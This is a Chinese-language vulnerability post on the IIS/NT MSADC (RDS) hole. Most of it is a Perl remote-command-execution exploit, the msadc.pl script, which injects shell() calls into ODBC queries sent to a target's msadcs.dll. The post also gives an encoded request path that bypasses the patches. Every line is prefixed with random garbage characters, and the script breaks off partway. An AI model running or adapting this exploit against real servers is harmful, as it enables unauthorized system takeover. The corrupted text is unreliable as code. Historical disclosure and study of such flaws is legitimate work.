IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K_CE.8G&{ okQ<_1e{ 涉及程序:
(2p<I)t Microsoft NT server
b&E9xD/;r VL| q`n 描述:
}ujl2uhM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Eh/Z4pzT #^eXnhj 9 详细:
%g{<EuK]p 如果你没有时间读详细内容的话,就删除:
xjg(}w c:\Program Files\Common Files\System\Msadc\msadcs.dll
`w#p8vR 有关的安全问题就没有了。
[mA\,ny9 h!q_''*; 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
db5@+_ .GOF0puiM 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
'MY0v_ 关于利用ODBC远程漏洞的描述,请参看:
C`r{B.t`GT VVDd39q http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *_CzCl^
%Ae43 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Rr6}$]1 http://www.microsoft.com/security/bulletins/MS99-025faq.asp dE]yb|Ld DRuG5| {I: 这里不再论述。
.<kbYo:MV fH*1.0f]6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
}>< v7 jltW@co2sV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8(|lP58~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p^THoF'~T (hFyp}jkk b&\f 8xZ #将下面这段保存为txt文件,然后: "perl -x 文件名"
1&#qq*{ w #!perl
j$Wd[Ja+O #
y)GH=@b # MSADC/RDS 'usage' (aka exploit) script
%8$ldNhV #
K4K]oT # by rain.forest.puppy
tiQeON-Q_ #
^&Wa?
m. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
bTbF # beta test and find errors!
o#9Q
G e+T[ use Socket; use Getopt::Std;
(,OF<<OH getopts("e:vd:h:XR", \%args);
z6x`O-\ =u
3YRqz print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Q7 @oAeNd 28x:]5=jb if (!defined $args{h} && !defined $args{R}) {
GiS:Nq`$( print qq~
l _g JC. Usage: msadc.pl -h <host> { -d <delay> -X -v }
8~ wP? -h <host> = host you want to scan (ip or domain)
^\C Fke= -d <seconds> = delay between calls, default 1 second
!yo@i_1D -X = dump Index Server path table, if available
xZ(ryE% -v = verbose
X;7hy0Y -e = external dictionary file for step 5
(d>}Fp Kn,td:( Or a -R will resume a command session
L25%KGg'o K7c[bhi_w ~; exit;}
yZQcxg% za!8:( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
L%;[tu(* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
UU*v5& if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
/I &wh if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@UQ421Z` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
$0XR<D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
6_g:2=6S d<Dm( if (!defined $args{R}){ $ret = &has_msadc;
J#xZ.6) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&a.A8v) |8?e4yVd print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Y49&EQ . "cmd /c ";
?azcWf z0 $in=<STDIN>; chomp $in;
qs!A)H# $command="cmd /c " . $in ;
pGd@%/]AO n?*r, )' if (defined $args{R}) {&load; exit;}
89Ir}bCr X& mD/1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ksf6O$ &try_btcustmr;
xVk5% h@PE:= print "\nStep 2: Trying to make our own DSN...";
3~1Gts &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
J`[gE`d iDWM-Ytx print "\nStep 3: Trying known DSNs...";
{krBAz& &known_dsn;
V1haAP[# ^.9DfA0 print "\nStep 4: Trying known .mdbs...";
/@B2-.w &known_mdb;
!
(Q[[M QP/ZD|/ t1 if (defined $args{e}){
u\;d^A print "\nStep 5: Trying dictionary of DSN names...";
}U ' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
BA[ uO3\4 WLA&K] print "Sorry Charley...maybe next time?\n";
nZ)E @ exit;
;;6$d{ /_qHF- ##############################################################################
udXzsY9Ng hpgOsF9Lh sub sendraw { # ripped and modded from whisker
yi:}UlO sleep($delay); # it's a DoS on the server! At least on mine...
Fv*Et-8tN5 my ($pstr)=@_;
`~z[Hj=2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&u~Pp=kv die("Socket problems\n");
'E&tEbY if(connect(S,pack "SnA4x8",2,80,$target)){
sY4q$Fq select(S); $|=1;
sF>O=F-7 print $pstr; my @in=<S>;
S*gm[ZLQ select(STDOUT); close(S);
]&N>F8.L+ return @in;
qV;I<AM } else { die("Can't connect...\n"); }}
r@/@b{= Y'5(exW ##############################################################################
s/B_ 9)t[YE:U3! sub make_header { # make the HTTP request
cK >^8T^ my $msadc=<<EOT
TyjZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}LeS3\+UHl User-Agent: ACTIVEDATA
?T .=ym Host: $ip
;6~5FTmV Content-Length: $clen
3H0B+F2XQ Connection: Keep-Alive
#4JLWg K8Q3~bMf ADCClientVersion:01.06
w$Fg0JS Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
{
0-on"o M9""(`U --!ADM!ROX!YOUR!WORLD!
eWNg?*/ Content-Type: application/x-varg
+*Z'oC BJ, Content-Length: $reqlen
!^ad{#|X gO)":!_n W EOT
M9afg$;.xe ; $msadc=~s/\n/\r\n/g;
PZ`11#bbm return $msadc;}
$dXx@6fP yCA8/)>Gm ##############################################################################
!\[JWN@v ":vEWp+g sub make_req { # make the RDS request
BjagG/sX my ($switch, $p1, $p2)=@_;
k|\M(Z*(P my $req=""; my $t1, $t2, $query, $dsn;
[`oVMR _Z!@#y@j if ($switch==1){ # this is the btcustmr.mdb query
/aMOZ=,q} $query="Select * from Customers where City=" . make_shell();
k@un}}0r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
yW(|auq $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
,oh;(|= Eh ";irE elsif ($switch==2){ # this is general make table query
]gg(Z!|iQ $query="create table AZZ (B int, C varchar(10))";
\ ZE[7Ae $dsn="$p1";}
PkI+z_ /.<v,CR elsif ($switch==3){ # this is general exploit table query
]/H6%"CTa $query="select * from AZZ where C=" . make_shell();
9$Z0mz k $dsn="$p1";}
jT=|!,Pn iGu%_-S elsif ($switch==4){ # attempt to hork file info from index server
1*Pxndt& $query="select path from scope()";
F{!pii5O9 $dsn="Provider=MSIDXS;";}
4minzrKM\ -]HZ?@ elsif ($switch==5){ # bad query
.WqqP $query="select";
>#x[qX $dsn="$p1";}
%z-*C'j5H >e>3:~&2 $t1= make_unicode($query);
xNf}f 9l $t2= make_unicode($dsn);
"H).2{3(x $req = "\x02\x00\x03\x00";
cQyN@W $req.= "\x08\x00" . pack ("S1", length($t1));
~}}<+ JEEO $req.= "\x00\x00" . $t1 ;
Ly+UY.v" $req.= "\x08\x00" . pack ("S1", length($t2));
]|.ked $req.= "\x00\x00" . $t2 ;
YE{ [f@i0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
hj9TiH/+ return $req;}
AtG~!)hG o+A1-&qhN ##############################################################################
{g<D:"Q o5tCbsHj- sub make_shell { # this makes the shell() statement
{uaDpRt return "'|shell(\"$command\")|'";}
() _RLA >bh+!5Y0 ##############################################################################
*y?HaU [~s+,OO9) sub make_unicode { # quick little function to convert to unicode
\D? '.Wo% my ($in)=@_; my $out;
FN-/~Su~J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6iyl8uL0J return $out;}
nc k/Dw sv%X8 ##############################################################################
`Npa/Q _xaum sub rdo_success { # checks for RDO return success (this is kludge)
{Ya$Q#l my (@in) = @_; my $base=content_start(@in);
Swhz\/u9 if($in[$base]=~/multipart\/mixed/){
0Idek return 1 if( $in[$base+10]=~/^\x09\x00/ );}
vPNbV return 0;}
q !z"YpYB z4:!*:.Asu ##############################################################################
Xfq`k/ W l/'GbuECm sub make_dsn { # this makes a DSN for us
wf\"&xwh? my @drives=("c","d","e","f");
/:4J print "\nMaking DSN: ";
NZB*;U~t foreach $drive (@drives) {
Jw;~ $ print "$drive: ";
>zW2w2O3 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
D$}8GYq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
)}@D\(/@ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
SsZC g#i $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
XHk"nbj return 0 if $2 eq "404"; # not found/doesn't exist
2 ?t@<M] if($2 eq "200") {
\G gh 95y foreach $line (@results) {
Z6Fu~D2Uy return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
m^3x%ENZ } return 0;}
5^g* gZ,h95' ##############################################################################
9p W~Gz t`Z'TqP R sub verify_exists {
e'3V4iU] my ($page)=@_;
kK[4uQQ my @results=sendraw("GET $page HTTP/1.0\n\n");
|U|>YA1[b return $results[0];}
#DUfEZ ^^N|:80 ##############################################################################
"JB4Uaa 'Lrn< sub try_btcustmr {
lmeTW0U@9( my @drives=("c","d","e","f");
z\]Z/Bz:6 my @dirs=("winnt","winnt35","winnt351","win","windows");
a2Ak?W1
}4|EHhG foreach $dir (@dirs) {
^K?-+ print "$dir -> "; # fun status so you can see progress
<w2h@ea foreach $drive (@drives) {
kUd]8Ff! print "$drive: "; # ditto
cRT'?w`} $reqlen=length( make_req(1,$drive,$dir) ) - 28;
` 2W^Ui,4 $reqlenlen=length( "$reqlen" );
U,=f}; $clen= 206 + $reqlenlen + $reqlen;
W+ S~__K bJ^h{] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
`8!9Fp if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
l_h:S`z. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#Z%"
?RJ l0Q5q)U1A ##############################################################################
0g?)j- 28!C#.(h sub odbc_error {
b>uD-CSA my (@in)=@_; my $base;
C"I
jr=w my $base = content_start(@in);
E4X6f if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
uM2@&)u $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UGcmzwE $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k\f
_\pj6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Geq]wv8 return $in[$base+4].$in[$base+5].$in[$base+6];}
P 9?cp{* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
*tXyd<_Hd print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
c*IrZm $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
h( | T. CWdsOS= ##############################################################################
$bTtD<